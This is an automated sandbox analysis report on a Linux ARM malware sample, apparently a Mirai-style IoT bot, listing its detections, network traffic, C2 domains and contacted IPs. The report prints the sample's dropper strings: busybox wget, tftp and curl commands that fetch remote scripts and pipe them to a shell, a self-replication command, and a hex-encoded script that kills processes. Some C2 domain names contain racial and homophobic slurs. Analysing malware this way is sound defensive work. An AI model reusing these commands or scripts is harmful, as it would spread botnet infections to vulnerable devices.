Linux Analysis Report
jklarm5.elf

Overview

General Information

Sample name: jklarm5.elf
Analysis ID: 1543111
MD5: b469823351345f28848b204db00a6781
SHA1: 139dab924794710d3c8bb99fdc3130d1cab80a8f
SHA256: cb8f1f1a01f838ecd2fdfc18947dd0ecee65bbd7df68bab5309c217e8c6b510e
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: jklarm5.elf ReversingLabs: Detection: 55%
Found strings indicative of a multi-platform dropper
Source: jklarm5.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: yellowchink.pirate. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: burnthe.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:49474 -> 45.156.86.24:38241
Source: global traffic TCP traffic: 192.168.2.23:50408 -> 185.150.24.67:38241
Sample listens on a socket
Source: /tmp/jklarm5.elf (PID: 6280) Socket: 127.0.0.1:39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 29.140.229.84
Source: unknown TCP traffic detected without corresponding DNS query: 156.135.25.193
Source: unknown TCP traffic detected without corresponding DNS query: 29.140.229.84
Source: unknown TCP traffic detected without corresponding DNS query: 156.135.25.193
Source: unknown TCP traffic detected without corresponding DNS query: 222.146.26.186
Source: unknown TCP traffic detected without corresponding DNS query: 197.35.9.172
Source: unknown TCP traffic detected without corresponding DNS query: 222.146.26.186
Source: unknown TCP traffic detected without corresponding DNS query: 24.55.250.170
Source: unknown TCP traffic detected without corresponding DNS query: 197.35.9.172
Source: unknown TCP traffic detected without corresponding DNS query: 189.162.219.148
Source: unknown TCP traffic detected without corresponding DNS query: 24.55.250.170
Source: unknown TCP traffic detected without corresponding DNS query: 156.203.24.201
Source: unknown TCP traffic detected without corresponding DNS query: 189.162.219.148
Source: unknown TCP traffic detected without corresponding DNS query: 199.159.30.44
Source: unknown TCP traffic detected without corresponding DNS query: 156.203.24.201
Source: unknown TCP traffic detected without corresponding DNS query: 91.245.75.117
Source: unknown TCP traffic detected without corresponding DNS query: 199.159.30.44
Source: unknown TCP traffic detected without corresponding DNS query: 117.212.237.4
Source: unknown TCP traffic detected without corresponding DNS query: 91.245.75.117
Source: unknown TCP traffic detected without corresponding DNS query: 151.175.84.130
Source: unknown TCP traffic detected without corresponding DNS query: 117.212.237.4
Source: unknown TCP traffic detected without corresponding DNS query: 28.49.84.35
Source: unknown TCP traffic detected without corresponding DNS query: 151.175.84.130
Source: unknown TCP traffic detected without corresponding DNS query: 88.88.225.88
Source: unknown TCP traffic detected without corresponding DNS query: 28.49.84.35
Source: unknown TCP traffic detected without corresponding DNS query: 183.35.4.36
Source: unknown TCP traffic detected without corresponding DNS query: 88.88.225.88
Source: unknown TCP traffic detected without corresponding DNS query: 26.244.125.104
Source: unknown TCP traffic detected without corresponding DNS query: 183.35.4.36
Source: unknown TCP traffic detected without corresponding DNS query: 57.137.49.165
Source: unknown TCP traffic detected without corresponding DNS query: 26.244.125.104
Source: unknown TCP traffic detected without corresponding DNS query: 97.175.67.33
Source: unknown TCP traffic detected without corresponding DNS query: 57.137.49.165
Source: unknown TCP traffic detected without corresponding DNS query: 114.38.173.38
Source: unknown TCP traffic detected without corresponding DNS query: 97.175.67.33
Source: unknown TCP traffic detected without corresponding DNS query: 201.194.137.214
Source: unknown TCP traffic detected without corresponding DNS query: 114.38.173.38
Source: unknown TCP traffic detected without corresponding DNS query: 173.80.56.18
Source: unknown TCP traffic detected without corresponding DNS query: 201.194.137.214
Source: unknown TCP traffic detected without corresponding DNS query: 36.0.193.233
Source: unknown TCP traffic detected without corresponding DNS query: 173.80.56.18
Source: unknown TCP traffic detected without corresponding DNS query: 153.36.107.239
Source: unknown TCP traffic detected without corresponding DNS query: 36.0.193.233
Source: unknown TCP traffic detected without corresponding DNS query: 60.175.52.69
Source: unknown TCP traffic detected without corresponding DNS query: 153.36.107.239
Source: unknown TCP traffic detected without corresponding DNS query: 213.174.66.28
Source: unknown TCP traffic detected without corresponding DNS query: 60.175.52.69
Source: unknown TCP traffic detected without corresponding DNS query: 178.156.4.184
Source: unknown TCP traffic detected without corresponding DNS query: 213.174.66.28
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate. [malformed]
Source: global traffic DNS traffic detected: DNS query: burnthe.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn
Source: global traffic DNS traffic detected: DNS query: burnthe.libre
Source: jklarm5.elf String found in binary or memory: http:///curl.sh
Source: jklarm5.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 39256
Source: unknown Network traffic detected: HTTP traffic on port 39256 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4<h
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/152@20/0
Enumerates processes within the "proc" file system
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6296/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6296/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6295/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6295/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6298/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6298/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6331/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6331/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6331/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6331/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6297/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6297/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6330/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6330/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6330/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6330/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6311/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6311/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6311/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6311/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6333/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6333/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6333/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6333/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6299/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6299/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6310/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6310/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6332/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6332/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6332/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6332/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6335/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6335/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6335/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6335/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6334/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6334/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6334/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6334/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6292/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6292/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6294/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6294/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6293/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6293/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6304/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6304/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6326/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6326/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6326/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6326/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6303/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6303/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6325/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6325/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6325/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6325/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6306/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6306/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6328/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6328/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6328/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6328/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6305/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6305/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6327/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6327/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6327/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6327/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6308/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6308/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6307/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6307/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6329/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6329/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6329/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6329/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6309/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6309/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6300/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6300/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6365/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6365/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6302/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6302/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6324/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6324/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6324/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6324/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6301/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6301/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6323/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6323/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6323/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6323/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6389/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6389/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6381/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6381/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6337/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6337/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6337/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6337/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6336/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6336/cmdline Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6336/maps Jump to behavior
Source: /tmp/jklarm5.elf (PID: 6286) File opened: /proc/6336/cmdline Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 6290) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.hs5TB4WxK5 /tmp/tmp.qs02o6spaD /tmp/tmp.iETM9exchn Jump to behavior
Source: /usr/bin/dash (PID: 6291) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.hs5TB4WxK5 /tmp/tmp.qs02o6spaD /tmp/tmp.iETM9exchn Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/jklarm5.elf (PID: 6280) Queries kernel information via 'uname': Jump to behavior
Source: jklarm5.elf, 6280.1.00007ffc2e24a000.00007ffc2e26b000.rw-.sdmp, jklarm5.elf, 6284.1.00007ffc2e24a000.00007ffc2e26b000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/jklarm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/jklarm5.elf
Source: jklarm5.elf, 6280.1.0000561a8a826000.0000561a8a954000.rw-.sdmp, jklarm5.elf, 6284.1.0000561a8a826000.0000561a8a954000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: jklarm5.elf, 6280.1.0000561a8a826000.0000561a8a954000.rw-.sdmp, jklarm5.elf, 6284.1.0000561a8a826000.0000561a8a954000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/arm
Source: jklarm5.elf, 6280.1.00007ffc2e24a000.00007ffc2e26b000.rw-.sdmp, jklarm5.elf, 6284.1.00007ffc2e24a000.00007ffc2e26b000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
31.171.230.112
 unknown Hungary
41627 ASPICKUPNETHU false
19.219.2.44
 unknown United States
3 MIT-GATEWAYSUS false
114.136.61.228
 unknown Taiwan; Republic of China (ROC)
17421 EMOME-NETMobileBusinessGroupTW false
1.171.75.42
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
129.102.201.181
 unknown France
2200 FR-RENATERReseauNationaldetelecommunicationspourlaTec false
7.91.125.117
 unknown United States
3356 LEVEL3US false
29.223.163.111
 unknown United States
7922 COMCAST-7922US false
164.25.230.251
 unknown Germany
29355 KCELL-ASKZ false
86.142.10.106
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
171.84.174.105
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
107.204.151.168
 unknown United States
7018 ATT-INTERNET4US false
38.85.221.234
 unknown United States
174 COGENT-174US false
211.154.154.113
 unknown China
17623 CNCGROUP-SZChinaUnicomShenzennetworkCN false
207.140.1.73
 unknown United States
7018 ATT-INTERNET4US false
94.107.248.23
 unknown Belgium
47377 ORANGE_BELGIUM_SAKPNBelgiumBusinessNVhasbeenacquired false
43.121.4.101
 unknown Japan 4249 LILLY-ASUS false
168.181.230.148
 unknown Honduras
263829 HOSTPARATUVIDASAHN false
73.244.56.28
 unknown United States
7922 COMCAST-7922US false
124.207.150.144
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
112.105.112.85
 unknown Taiwan; Republic of China (ROC)
4780 SEEDNETDigitalUnitedIncTW false
193.227.77.83
 unknown Italy
15553 CERVED-ASIT false
211.25.35.252
 unknown Malaysia
9930 TTNET-MYTIMEdotComBerhadMY false
167.100.199.234
 unknown Saudi Arabia
25019 SAUDINETSTC-ASSA false
35.75.100.94
 unknown United States
16509 AMAZON-02US false
125.244.180.180
 unknown Korea Republic of
9316 DACOM-PUBNETPLUS-AS-KRDACOM-PUBNETPLUSKR false
118.208.170.105
 unknown Australia
4739 INTERNODE-ASInternodePtyLtdAU false
204.18.213.182
 unknown Iran (ISLAMIC Republic Of)
197207 MCCI-ASIR false
215.139.62.54
 unknown United States
721 DNIC-ASBLK-00721-00726US false
110.205.202.21
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
184.155.173.166
 unknown United States
11492 CABLEONEUS false
67.0.73.189
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
75.238.15.146
 unknown United States
22394 CELLCOUS false
27.161.81.13
 unknown Korea Republic of
9644 SKTELECOM-NET-ASSKTelecomKR false
25.88.37.143
 unknown United Kingdom
7922 COMCAST-7922US false
164.110.2.69
 unknown United States
14827 WSDOT-ASNUS false
206.116.174.100
 unknown Canada
852 ASN852CA false
44.59.10.131
 unknown United States
7377 UCSDUS false
35.181.231.64
 unknown United States
16509 AMAZON-02US false
131.3.163.179
 unknown United States
386 AFCONC-BLOCK1-ASUS false
180.12.83.33
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
164.140.144.160
 unknown Netherlands
15916 FormerFortisBankWoerdenNetherlandsNL false
2.5.241.253
 unknown France
3215 FranceTelecom-OrangeFR false
95.36.120.155
 unknown Netherlands
15670 BBNED-AS1NL false
2.11.248.147
 unknown France
3215 FranceTelecom-OrangeFR false
68.54.193.236
 unknown United States
7922 COMCAST-7922US false
24.183.211.233
 unknown United States
20115 CHARTER-20115US false
158.188.87.74
 unknown United States
393938 SSL-ASUS false
140.46.199.130
 unknown United States
668 DNIC-AS-00668US false
66.76.8.184
 unknown United States
19108 SUDDENLINK-COMMUNICATIONSUS false
52.114.235.143
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
39.158.191.79
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
212.170.234.126
 unknown Spain
6813 FLEXNETTelefonicaSolucionesES false
185.75.60.166
 unknown United Kingdom
204638 GULFINSKW false
44.237.172.169
 unknown United States
16509 AMAZON-02US false
39.78.248.158
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
113.90.217.110
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
129.42.83.75
 unknown United States
3778 TEMPLEUS false
115.77.67.65
 unknown Viet Nam
7552 VIETEL-AS-APViettelGroupVN false
98.116.236.207
 unknown United States
701 UUNETUS false
169.21.73.191
 unknown United States
37611 AfrihostZA false
99.51.75.145
 unknown United States
7018 ATT-INTERNET4US false
194.62.79.166
 unknown United Kingdom
51365 BELINVESTBANK-BY false
50.153.148.193
 unknown United States
7922 COMCAST-7922US false
118.231.204.110
 unknown Taiwan; Republic of China (ROC)
9674 FET-TWFarEastToneTelecommunicationCoLtdTW false
101.44.209.155
 unknown China
131536 SHGWBNNETShanghaiGreatWallBroadbandNetworkServiceCo false
188.160.176.70
 unknown Syrian Arab Republic
29256 INT-PDN-STE-ASSTEPDNInternalASSY false
186.15.95.74
 unknown Costa Rica
52228 CableTicaCR false
118.187.37.7
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
160.159.194.162
 unknown Tunisia
37492 ORANGE-TN false
104.76.40.16
 unknown United States
16625 AKAMAI-ASUS false
88.251.59.218
 unknown Turkey
9121 TTNETTR false
189.96.195.201
 unknown Brazil
26599 TELEFONICABRASILSABR false
112.26.97.181
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
20.98.107.59
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
149.171.156.145
 unknown Australia
23859 UNSW-AS-APUniversityofNewSouthWalesAU false
41.37.131.69
 unknown Egypt
8452 TE-ASTE-ASEG false
209.86.187.141
 unknown United States
7029 WINDSTREAMUS false
132.66.138.204
 unknown Israel
378 MACHBA-ASILANIL false
76.58.177.85
 unknown United States
18494 CENTURYLINK-LEGACY-EMBARQ-WRBGUS false
51.75.252.221
 unknown France
16276 OVHFR false
40.165.193.40
 unknown United States
4249 LILLY-ASUS false
146.44.204.131
 unknown United States
197938 TRAVIANGAMESDE false
158.144.83.143
 unknown India
132524 TIFR-ASTataInstituteofFundamentalResearchIN false
41.59.97.43
 unknown Tanzania United Republic of
33765 TTCLDATATZ false
147.197.13.166
 unknown United Kingdom
786 JANETJiscServicesLimitedGB false
47.236.119.36
 unknown United States
20115 CHARTER-20115US false
149.113.122.56
 unknown United States
174 COGENT-174US false
106.94.227.28
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
89.122.79.152
 unknown Romania
9050 RTDBucharestRomaniaRO false
36.134.141.227
 unknown China
56041 CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC false
160.22.254.148
 unknown unknown
45194 SIPL-ASSysconInfowayPvtLtdIN false
158.181.70.173
 unknown Germany
20880 TELECOLUMBUSDE false
11.44.201.144
 unknown United States
3356 LEVEL3US false
213.205.110.122
 unknown France
43646 TDFFR false
6.1.174.81
 unknown United States
3356 LEVEL3US false
67.193.2.60
 unknown Canada
7992 COGECOWAVECA false
36.20.185.34
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
87.215.35.218
 unknown Netherlands
13127 VERSATELASfortheTrans-EuropeanTele2IPTransportbackbo false
83.106.211.236
 unknown United Kingdom
2529 DEMON-INTERNETNowmaintainedbyCableWirelessWorldwide false
124.95.129.227
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false

Contacted Domains

Name IP Active
yellowchink.pirate 45.156.86.24 true
chinklabs.dyn 185.150.24.67 true
burnthe.libre 45.156.86.24 true
chinklabs.dyn. [malformed] unknown unknown
burnthe.libre. [malformed] unknown unknown
netfags.geek. [malformed] unknown unknown
yellowchink.pirate. [malformed] unknown unknown